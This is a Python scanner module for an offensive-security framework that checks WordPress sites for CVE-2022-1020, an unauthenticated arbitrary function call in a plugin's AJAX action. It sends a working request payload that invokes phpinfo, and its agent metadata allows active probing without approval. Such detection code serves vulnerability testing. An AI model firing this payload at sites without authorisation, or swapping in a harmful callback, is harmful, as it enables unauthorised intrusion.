WordPress WooCommerce <3.1.2 - Arbitrary Function Call Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress WooCommerce plugin before 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress WooCommerce <3.1.2 - Arbitrary Function Call Detection',
        'description': 'WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'wpscan', 'wp', 'wp-plugin', 'wordpress', 'unauth', 'codeastrology', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/04fe89b3-8ad1-482f-a96d-759d1d3a0dd5',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-1020',
        ],
        'cve': 'CVE-2022-1020',
    }

    def run(self):
        path = '/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='option_key=a&perpose=update&callback=phpinfo\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('PHP Extension', 'PHP Version',)
        if all(m in body for m in body_all):
            self.set_info(severity='critical', reason='WordPress WooCommerce <3.1.2 - Arbitrary Function Call detected', path=path)
            return True
        return False